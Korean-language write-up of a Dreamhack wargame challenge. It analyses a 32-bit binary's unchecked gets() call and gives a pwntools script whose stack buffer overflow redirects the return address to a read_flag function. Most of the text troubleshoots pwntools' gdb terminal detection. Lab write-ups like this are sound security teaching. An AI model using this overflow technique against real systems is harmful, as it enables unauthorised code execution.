소스가 주어진 문제로, 소스를 보고 수행한다면 훨씬 쉽지만 어셈블리 감각을 유지하기 위해 소스를 보지 않고 디버거로 파일을 파악했다.
0. 파일 메타데이터 확인
NX enabled
단순히 스택에 쉘코드 넣는 걸론 안될듯?
file
, readelf -h
로 일단은 체크함, not stripped / ELF32
1. 파일 동작 확인
그냥 실행해서는 아무것도 알 수 없음
2. pwndbg로 확인
누가 봐도 read_flag
에 뭔가 있어 보인다
일단은 main
함수부터 분석하자
2.1. main 분석
그런데 이거 왜 line3에서 add esp, 0xffffff80
이라고 한 거지?
부동소수점 표현방식 생각했을 때 sub esp, 0x80
이라고 하면 편할 텐데
아무튼 0x80
만큼의 버퍼를 할당하고, 그 시작 주소를 gets
의 인자로 주는군요
gets
는 입력값 길이를 설정하지 않은 취약한 함수이므로 그 취약점을 이용해 보자
NX는 설정되어 있으니 쉘코드를 스택에 넣는 걸로는 안될 거고
그럼 내부에서 쓸만한 함수가 있을 경우 RET addr를 그쪽으로 변경하면 되겠다
그리고 그 쓸만한 함수는 아마 read_flag
아닐까?
2.2. read_flag 분석
오케이! 이쪽으로 RET addr를 리다이렉트 해주면 되겠다
3. 페이로드 작성
0x80(dump)+0x04(rbp contamination)+0x080485b9
로컬 프로그램에 시도해 보았다.
from pwn import *p = process('./basic_exploitation_001')
p=remote('')
# context.terminal = ["bash"]payload=b'A'*0x80payload+=b'B'*0x4payload+= p32(0x080485b9, endian='little')
# gdb.attach(p, gdbscript='b *(main+20)')# input('1')p.sendline(payload )
p.interactive()
3.1. 에러 해결-gdb.attach시 gdb가 붙지 못하는 오류
하지만 gdb.attach를 수행 시 아래와 같은 에러가 뜬다.
Could not find terminal binary 'vscode'. Set context.terminal to your terminal.
보통 이 에러가 뜨면 context.terminal = ["tmux", "splitw", "-h"]
를 코드에 추가해 context.terminal을 명시적으로 정의하여 gdb가 돌 수 있는 터미널 응용 프로그램을 지정하라고 한다.
일반적으로 이렇게 하면 해결되고… 하지만 난 해결이 안 됐다. gdb가 붙지 못하고 먼저 죽어버리는 것이었다.
에러 메시지에는 ptrace의 실행 권한을 확인하라고만 나와 있었는데, 난 이미 해당 플래그를 편집해 모든 프로세스가 디버깅을 위해 ptrace를 사용 가능하도록 열어둔 상태였고 터미널의 환경 변수도 정상적으로 적용되어 있었다.
그래서 에러가 뜬 소스를 직접 확인해 봤다.
def run_in_new_terminal(command, terminal=None, args=None, kill_at_exit=True, preexec_fn=None):
"""run_in_new_terminal(command, terminal=None, args=None, kill_at_exit=True, preexec_fn=None) -> int Run a command in a new terminal. When ``terminal`` is not set: - If ``context.terminal`` is set it will be used. If it is an iterable then ``context.terminal[1:]`` are default arguments. - If a ``pwntools-terminal`` command exists in ``$PATH``, it is used - If tmux is detected (by the presence of the ``$TMUX`` environment variable), a new pane will be opened. - If GNU Screen is detected (by the presence of the ``$STY`` environment variable), a new screen will be opened. - If ``$TERM_PROGRAM`` is set, that is used. - If X11 is detected (by the presence of the ``$DISPLAY`` environment variable), ``x-terminal-emulator`` is used. - If KDE Konsole is detected (by the presence of the ``$KONSOLE_VERSION`` environment variable), a terminal will be split. - If WSL (Windows Subsystem for Linux) is detected (by the presence of a ``wsl.exe`` binary in the ``$PATH`` and ``/proc/sys/kernel/osrelease`` containing ``Microsoft``), a new ``cmd.exe`` window will be opened. If `kill_at_exit` is :const:`True`, try to close the command/terminal when the current process exits. This may not work for all terminal types. Arguments: command (str): The command to run. terminal (str): Which terminal to use. args (list): Arguments to pass to the terminal kill_at_exit (bool): Whether to close the command/terminal on process exit. preexec_fn (callable): Callable to invoke before exec().
시스템 터미널 환경에 어떤 커스텀이 적용되어 있으면, 그것을 확인해 해당 커스텀이 추가해 둔 시스템의 환경 변수를 읽어와서 새로운 터미널 프로세스를 fork할 때 exec의 커맨드로 주는 메커니즘인 것 같았다.
따라서 printenv
명령어로 현재 사용자 프로파일에 정의된 환경 변수 중, 위의 설명에 언급된 것이 있는지 여부를 확인해 보았다.
-
vscode shell-우선순위에 따라 TERM_PROGRAM 환경변수를 우선 참조한다.
tv@tv-virtual-machine:~/system_hacking/basic_exploitation_001.d$ export | grep -E "PATH|TMUX|STY|TERM_PROGRAM|DISPLAY|KONSOLE_VERSION"declare -x DISPLAY=":0"declare -x GNOME_SETUP_DISPLAY=":1"declare -x PATH="/home/tv/.local/bin:/home/tv/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin"declare -x TERM_PROGRAM="vscode"declare -x TERM_PROGRAM_VERSION="1.90.2"declare -x WAYLAND_DISPLAY="wayland-0"
-
system shell(/etc/passwd의 마지막 필드에 정의된 사용자의 기본 쉘)-위의 설명이 나열한 것 중 DISPLAY 환경변수밖에 없어, X11(리눅스 GUI 환경)임을 탐지하고 심링크로 설정된(x-terminal-emulator는 일종의 perl 스크립트와 연결되어 users’ preferred terminal binary로 심링크를 타게 해준다) 유저 기본 터미널을 실행하게 된다.
tv@tv-virtual-machine:~/system_hacking/basic_exploitation_001.d$ printenv | grep -E "PATH|TMUX|STY|TERM_PROGRAM|DISPLAY|KONSOLE_VERSION"WAYLAND_DISPLAY=wayland-0 GNOME_SETUP_DISPLAY=:1 DISPLAY=:0 PATH=/home/tv/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin
그리고 vscode shell에서 vscode 명령어를 실행하면 아무것도 실행되지 않는다. 즉, 최초로 등장했던 아래의 오류는 vscode라는 명령어 바이너리가 없어서였던 것이다!
Could not find terminal binary 'vscode'. Set context.terminal to your terminal.
자… 그럼 이제 어떻게 해야 할까?
저 환경변수 자체를 바꿔버리거나, vscode라는 바이너리를 /usr/bin/에 만들어서 내부 스크립트로 기본 터미널에 심링크를 걸거나(~/.profile 참조), 아니면 숨어 있는 vscode 바이너리를 찾아내서 해당 바이너리의 path를 추가하거나(find 명령어 이용)
그런데 그건 vscode shell을 써야만 할 때의 이야기고
나는 그냥 쉽게 시스템 기본 쉘을 썼다.
드림핵에서 가상머신 할당했는데 무슨 이유에서인지 접근이 안 돼서….
로컬 파일 익스한 것만 올린다.